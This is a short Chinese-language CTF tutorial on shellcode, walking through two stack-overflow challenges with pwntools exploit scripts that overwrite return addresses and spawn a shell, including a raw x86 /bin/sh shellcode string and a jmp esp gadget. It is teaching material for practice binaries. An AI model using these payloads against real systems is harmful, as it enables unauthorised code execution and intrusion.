Shellcode
什么是Shellcode
Shellcode指的是用来完成某个功能的汇编代码,常用的功能就是获取目标系统的shell。在栈溢出的基础上,我们一般都是向栈中写内容,所以要想执行Shellcode,就要要求对应的二进制文件没有开启NX保护。利用ret_address返回Shellcode处执行
怎么生成Shellcode
Shellcode的生成方法通常有以下几种:
- 在pwntools中由shellcraft模块生成
- 在https://www.exploit-db.com/shellcodes/网站中根据平台和系统的位数获取
- 通过Metasploit生成
1、根据pwntools生成Shellcode
例题:https://gitee.com/tky5216/CTF/blob/master/PWN/stack/ret2shellcode
查看保护没有开NX,可以用Shellcode
IDA反编译发现栈溢出,直接用Shellcode覆盖main_addr地址控制程序流
from pwn import * context.arch = "i386" p = process('./ret2shellcode') p.recvuntil("ret2shellcode") target = int(p.recvuntile("\n",drop = true) , 16) sc = asm(shellcraft.sh()) payload = sc.ljust(0x108 ,'\x00') + p32(1) + p32(target) p.sendline(payload) p.interactive()
解释:target = int(p.recvuntile("\n",drop = true) , 16)接收直到换行符,并且去除换行符,转换为16进制
2、Shellcode进阶
例题:https://gitee.com/tky5216/CTF/blob/master/PWN/stack/b0verfl0w
没有开NX保护,可以使用Shellccode
发现溢出十八个字节,非常小,所以用pwntools生成的Shellcode长度太长,这里需要用gadget来控制EIP的位置,跳转到Shellcode的初始地址
from pwn import * p = process('./b0verfl0w') shellcode_x86 = '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80' sub_esp_jmp = asm('sub esp , 0x28;jmp esp') jmp_esp = 0x08048504 payload = shellcode_x86.ljust(0x24 , 'a') + p32(jmp_esp) + sub_esp_jmp p.sendline(payload) p.interactive()
从payload起始地址开始构造Shellcode,之后调整esp到Shellcode起始位置、
为什么要用jmp_esp而不是直接用Shellcode覆盖返回地址?
当pop main_addr后esp在main_上边,直接执行sub_esp_jmp在栈外执行,会异常,所以我们要把EIP调整到栈内再把EIP控制到sub_esp_jmp这样就没有问题了